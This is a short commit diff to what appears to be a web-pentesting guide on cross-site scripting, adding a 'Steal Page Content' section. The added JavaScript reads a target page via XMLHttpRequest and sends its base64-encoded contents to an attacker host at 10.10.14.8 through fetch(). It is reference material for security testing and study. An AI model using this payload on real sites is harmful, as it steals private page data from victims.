GitBook: [master] one page modified

pentesting-web/xss-cross-site-scripting/README.md

@@ -685,6 +685,21 @@ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location
 You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies.md#httponly) if you are lucky enough.
 {% endhint %}
 
+### Steal Page Content
+
+```javascript
+var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
+var attacker = "http://10.10.14.8/exfil";
+var xhr  = new XMLHttpRequest();
+xhr.onreadystatechange = function() {
+    if (xhr.readyState == XMLHttpRequest.DONE) {
+        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
+    }
+}
+xhr.open('GET', url, true);
+xhr.send(null);
+```
+
 ### Port Scanner \(fetch\)
 
 ```javascript